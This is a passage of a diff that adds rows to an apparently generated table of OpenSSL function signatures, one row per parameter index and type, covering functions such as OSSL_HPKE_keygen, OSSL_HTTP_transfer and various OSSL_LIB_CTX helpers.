(OSSL_HPKE_SUITE,size_t) | | OSSL_HPKE_get_ciphertext_size | 0 | OSSL_HPKE_SUITE | +| (OSSL_HPKE_SUITE,size_t) | | OSSL_HPKE_get_ciphertext_size | 1 | size_t | +| (OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_keygen | 0 | OSSL_HPKE_SUITE | +| (OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_keygen | 1 | unsigned char * | +| (OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_keygen | 2 | size_t * | +| (OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_keygen | 3 | EVP_PKEY ** | +| (OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_keygen | 4 | const unsigned char * | +| (OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_keygen | 5 | size_t | +| (OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_keygen | 6 | OSSL_LIB_CTX * | +| (OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_keygen | 7 | const char * | +| (OSSL_HTTP_REQ_CTX *) | | OSSL_HTTP_REQ_CTX_exchange | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 0 | OSSL_HTTP_REQ_CTX ** | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 1 | const char * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 2 | const char * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 3 | const char * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 4 | int | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 5 | const char * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 6 | const char * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 7 | BIO * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 8 | BIO * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 9 | OSSL_HTTP_bio_cb_t | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 10 | void * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 11 | int | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 12 | const stack_st_CONF_VALUE * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 13 | const char * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 14 | BIO * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 15 | const char * | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 16 | int | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 17 | size_t | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 18 | int | +| (OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_transfer | 19 | int | +| (OSSL_HTTP_REQ_CTX *,ASN1_VALUE **,const ASN1_ITEM *) | | OSSL_HTTP_REQ_CTX_nbio_d2i | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX *,ASN1_VALUE **,const ASN1_ITEM *) | | OSSL_HTTP_REQ_CTX_nbio_d2i | 1 | ASN1_VALUE ** | +| (OSSL_HTTP_REQ_CTX *,ASN1_VALUE **,const ASN1_ITEM *) | | OSSL_HTTP_REQ_CTX_nbio_d2i | 2 | const ASN1_ITEM * | +| (OSSL_HTTP_REQ_CTX *,char **) | | OSSL_HTTP_exchange | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX *,char **) | | OSSL_HTTP_exchange | 1 | char ** | +| (OSSL_HTTP_REQ_CTX *,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | OSSL_HTTP_REQ_CTX_set1_req | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX *,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | OSSL_HTTP_REQ_CTX_set1_req | 1 | const char * | +| (OSSL_HTTP_REQ_CTX *,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | OSSL_HTTP_REQ_CTX_set1_req | 2 | const ASN1_ITEM * | +| (OSSL_HTTP_REQ_CTX *,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | OSSL_HTTP_REQ_CTX_set1_req | 3 | const ASN1_VALUE * | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 1 | const char * | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 2 | const stack_st_CONF_VALUE * | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 3 | const char * | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 4 | BIO * | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 5 | const char * | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 6 | int | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 7 | size_t | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 8 | int | +| (OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int) | | OSSL_HTTP_set1_request | 9 | int | +| (OSSL_HTTP_REQ_CTX *,const char *,int,int,int) | | OSSL_HTTP_REQ_CTX_set_expected | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX *,const char *,int,int,int) | | OSSL_HTTP_REQ_CTX_set_expected | 1 | const char * | +| (OSSL_HTTP_REQ_CTX *,const char *,int,int,int) | | OSSL_HTTP_REQ_CTX_set_expected | 2 | int | +| (OSSL_HTTP_REQ_CTX *,const char *,int,int,int) | | OSSL_HTTP_REQ_CTX_set_expected | 3 | int | +| (OSSL_HTTP_REQ_CTX *,const char *,int,int,int) | | OSSL_HTTP_REQ_CTX_set_expected | 4 | int | +| (OSSL_HTTP_REQ_CTX *,int,const char *,const char *,const char *) | | OSSL_HTTP_REQ_CTX_set_request_line | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX *,int,const char *,const char *,const char *) | | OSSL_HTTP_REQ_CTX_set_request_line | 1 | int | +| (OSSL_HTTP_REQ_CTX *,int,const char *,const char *,const char *) | | OSSL_HTTP_REQ_CTX_set_request_line | 2 | const char * | +| (OSSL_HTTP_REQ_CTX *,int,const char *,const char *,const char *) | | OSSL_HTTP_REQ_CTX_set_request_line | 3 | const char * | +| (OSSL_HTTP_REQ_CTX *,int,const char *,const char *,const char *) | | OSSL_HTTP_REQ_CTX_set_request_line | 4 | const char * | +| (OSSL_HTTP_REQ_CTX *,size_t) | | OSSL_HTTP_REQ_CTX_set_max_response_hdr_lines | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX *,size_t) | | OSSL_HTTP_REQ_CTX_set_max_response_hdr_lines | 1 | size_t | +| (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 0 | OSSL_HTTP_REQ_CTX * | +| (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | unsigned long | +| (OSSL_IETF_ATTR_SYNTAX *) | | OSSL_IETF_ATTR_SYNTAX_free | 0 | OSSL_IETF_ATTR_SYNTAX * | +| (OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_IETF_ATTR_SYNTAX | 0 | OSSL_IETF_ATTR_SYNTAX ** | +| (OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_IETF_ATTR_SYNTAX | 1 | const unsigned char ** | +| (OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_IETF_ATTR_SYNTAX | 2 | long | +| (OSSL_IETF_ATTR_SYNTAX *,GENERAL_NAMES *) | | OSSL_IETF_ATTR_SYNTAX_set0_policyAuthority | 0 | OSSL_IETF_ATTR_SYNTAX * | +| (OSSL_IETF_ATTR_SYNTAX *,GENERAL_NAMES *) | | OSSL_IETF_ATTR_SYNTAX_set0_policyAuthority | 1 | GENERAL_NAMES * | +| (OSSL_IETF_ATTR_SYNTAX *,int,void *) | | OSSL_IETF_ATTR_SYNTAX_add1_value | 0 | OSSL_IETF_ATTR_SYNTAX * | +| (OSSL_IETF_ATTR_SYNTAX *,int,void *) | | OSSL_IETF_ATTR_SYNTAX_add1_value | 1 | int | +| (OSSL_IETF_ATTR_SYNTAX *,int,void *) | | OSSL_IETF_ATTR_SYNTAX_add1_value | 2 | void * | +| (OSSL_IETF_ATTR_SYNTAX_VALUE *) | | OSSL_IETF_ATTR_SYNTAX_VALUE_free | 0 | OSSL_IETF_ATTR_SYNTAX_VALUE * | +| (OSSL_INFO_SYNTAX *) | | OSSL_INFO_SYNTAX_free | 0 | OSSL_INFO_SYNTAX * | +| (OSSL_INFO_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_INFO_SYNTAX | 0 | OSSL_INFO_SYNTAX ** | +| (OSSL_INFO_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_INFO_SYNTAX | 1 | const unsigned char ** | +| (OSSL_INFO_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_INFO_SYNTAX | 2 | long | +| (OSSL_INFO_SYNTAX_POINTER *) | | OSSL_INFO_SYNTAX_POINTER_free | 0 | OSSL_INFO_SYNTAX_POINTER * | +| (OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long) | | d2i_OSSL_INFO_SYNTAX_POINTER | 0 | OSSL_INFO_SYNTAX_POINTER ** | +| (OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long) | | d2i_OSSL_INFO_SYNTAX_POINTER | 1 | const unsigned char ** | +| (OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long) | | d2i_OSSL_INFO_SYNTAX_POINTER | 2 | long | +| (OSSL_ISSUER_SERIAL *) | | OSSL_ISSUER_SERIAL_free | 0 | OSSL_ISSUER_SERIAL * | +| (OSSL_ISSUER_SERIAL *,const ASN1_BIT_STRING *) | | OSSL_ISSUER_SERIAL_set1_issuerUID | 0 | OSSL_ISSUER_SERIAL * | +| (OSSL_ISSUER_SERIAL *,const ASN1_BIT_STRING *) | | OSSL_ISSUER_SERIAL_set1_issuerUID | 1 | const ASN1_BIT_STRING * | +| (OSSL_ISSUER_SERIAL *,const ASN1_INTEGER *) | | OSSL_ISSUER_SERIAL_set1_serial | 0 | OSSL_ISSUER_SERIAL * | +| (OSSL_ISSUER_SERIAL *,const ASN1_INTEGER *) | | OSSL_ISSUER_SERIAL_set1_serial | 1 | const ASN1_INTEGER * | +| (OSSL_ISSUER_SERIAL *,const X509_NAME *) | | OSSL_ISSUER_SERIAL_set1_issuer | 0 | OSSL_ISSUER_SERIAL * | +| (OSSL_ISSUER_SERIAL *,const X509_NAME *) | | OSSL_ISSUER_SERIAL_set1_issuer | 1 | const X509_NAME * | +| (OSSL_JSON_ENC *) | | ossl_json_in_error | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,BIO *) | | ossl_json_set0_sink | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,BIO *) | | ossl_json_set0_sink | 1 | BIO * | +| (OSSL_JSON_ENC *,BIO *,uint32_t) | | ossl_json_init | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,BIO *,uint32_t) | | ossl_json_init | 1 | BIO * | +| (OSSL_JSON_ENC *,BIO *,uint32_t) | | ossl_json_init | 2 | uint32_t | +| (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | const char * | +| (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | const char * | +| (OSSL_JSON_ENC *,const char *,size_t) | | ossl_json_str_len | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,const char *,size_t) | | ossl_json_str_len | 1 | const char * | +| (OSSL_JSON_ENC *,const char *,size_t) | | ossl_json_str_len | 2 | size_t | +| (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 1 | const void * | +| (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 2 | size_t | +| (OSSL_JSON_ENC *,int64_t) | | ossl_json_i64 | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,int64_t) | | ossl_json_i64 | 1 | int64_t | +| (OSSL_JSON_ENC *,uint64_t) | | ossl_json_u64 | 0 | OSSL_JSON_ENC * | +| (OSSL_JSON_ENC *,uint64_t) | | ossl_json_u64 | 1 | uint64_t | +| (OSSL_LIB_CTX *) | | BN_CTX_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | BN_CTX_secure_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | OSSL_LIB_CTX_get_conf_diagnostics | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | OSSL_PROVIDER_get0_default_search_path | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | OSSL_get_max_threads | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | RAND_get0_primary | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | RAND_get0_private | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | RAND_get0_public | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_dh_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_do_ex_data_init | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_dsa_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_get_avail_threads | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_lib_ctx_get_concrete | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_lib_ctx_get_ex_data_global | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_lib_ctx_get_rcukey | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_lib_ctx_is_child | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_method_store_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_namemap_stored | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_provider_store_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_rand_get0_seed_noncreating | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *) | | ossl_rsa_new_with_ctx | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX **,const char **,const X509_PUBKEY *) | | ossl_x509_PUBKEY_get0_libctx | 0 | OSSL_LIB_CTX ** | +| (OSSL_LIB_CTX **,const char **,const X509_PUBKEY *) | | ossl_x509_PUBKEY_get0_libctx | 1 | const char ** | +| (OSSL_LIB_CTX **,const char **,const X509_PUBKEY *) | | ossl_x509_PUBKEY_get0_libctx | 2 | const X509_PUBKEY * | +| (OSSL_LIB_CTX *,..(*)(..),void *) | | OSSL_PROVIDER_do_all | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,..(*)(..),void *) | | OSSL_PROVIDER_do_all | 1 | ..(*)(..) | +| (OSSL_LIB_CTX *,..(*)(..),void *) | | OSSL_PROVIDER_do_all | 2 | void * | +| (OSSL_LIB_CTX *,..(*)(..),void *) | | ossl_provider_doall_activated | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,..(*)(..),void *) | | ossl_provider_doall_activated | 1 | ..(*)(..) | +| (OSSL_LIB_CTX *,..(*)(..),void *) | | ossl_provider_doall_activated | 2 | void * | +| (OSSL_LIB_CTX *,CONF_METHOD *) | | NCONF_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,CONF_METHOD *) | | NCONF_new_ex | 1 | CONF_METHOD * | +| (OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *) | | ossl_crypto_thread_start | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *) | | ossl_crypto_thread_start | 1 | CRYPTO_THREAD_ROUTINE | +| (OSSL_LIB_CTX *,CRYPTO_THREAD_ROUTINE,void *) | | ossl_crypto_thread_start | 2 | void * | +| (OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *) | | ossl_ecx_key_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *) | | ossl_ecx_key_new | 1 | ECX_KEY_TYPE | +| (OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *) | | ossl_ecx_key_new | 2 | int | +| (OSSL_LIB_CTX *,ECX_KEY_TYPE,int,const char *) | | ossl_ecx_key_new | 3 | const char * | +| (OSSL_LIB_CTX *,EVP_PKEY *,const char *) | | EVP_PKEY_CTX_new_from_pkey | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,EVP_PKEY *,const char *) | | EVP_PKEY_CTX_new_from_pkey | 1 | EVP_PKEY * | +| (OSSL_LIB_CTX *,EVP_PKEY *,const char *) | | EVP_PKEY_CTX_new_from_pkey | 2 | const char * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_gen_verify | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_gen_verify | 1 | FFC_PARAMS * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_gen_verify | 2 | int | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_gen_verify | 3 | int | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_gen_verify | 4 | size_t | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_gen_verify | 5 | size_t | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_gen_verify | 6 | int * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_gen_verify | 7 | BN_GENCB * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_gen_verify | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_gen_verify | 1 | FFC_PARAMS * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_gen_verify | 2 | int | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_gen_verify | 3 | int | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_gen_verify | 4 | size_t | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_gen_verify | 5 | size_t | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_gen_verify | 6 | int * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_gen_verify | 7 | BN_GENCB * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_generate | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_generate | 1 | FFC_PARAMS * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_generate | 2 | int | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_generate | 3 | size_t | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_generate | 4 | size_t | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_generate | 5 | int * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_2_generate | 6 | BN_GENCB * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_generate | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_generate | 1 | FFC_PARAMS * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_generate | 2 | int | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_generate | 3 | size_t | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_generate | 4 | size_t | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_generate | 5 | int * | +| (OSSL_LIB_CTX *,FFC_PARAMS *,int,size_t,size_t,int *,BN_GENCB *) | | ossl_ffc_params_FIPS186_4_generate | 6 | BN_GENCB * | +| (OSSL_LIB_CTX *,OSSL_CORE_BIO *) | | BIO_new_from_core_bio | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,OSSL_CORE_BIO *) | | BIO_new_from_core_bio | 1 | OSSL_CORE_BIO * | +| (OSSL_LIB_CTX *,OSSL_INDICATOR_CALLBACK **) | | OSSL_INDICATOR_get_callback | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,OSSL_INDICATOR_CALLBACK **) | | OSSL_INDICATOR_get_callback | 1 | OSSL_INDICATOR_CALLBACK ** | +| (OSSL_LIB_CTX *,OSSL_PROPERTY_IDX) | | ossl_property_name_str | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,OSSL_PROPERTY_IDX) | | ossl_property_name_str | 1 | OSSL_PROPERTY_IDX | +| (OSSL_LIB_CTX *,OSSL_PROPERTY_IDX) | | ossl_property_value_str | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,OSSL_PROPERTY_IDX) | | ossl_property_value_str | 1 | OSSL_PROPERTY_IDX | +| (OSSL_LIB_CTX *,OSSL_PROVIDER_INFO *) | | ossl_provider_info_add_to_store | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,OSSL_PROVIDER_INFO *) | | ossl_provider_info_add_to_store | 1 | OSSL_PROVIDER_INFO * | +| (OSSL_LIB_CTX *,const 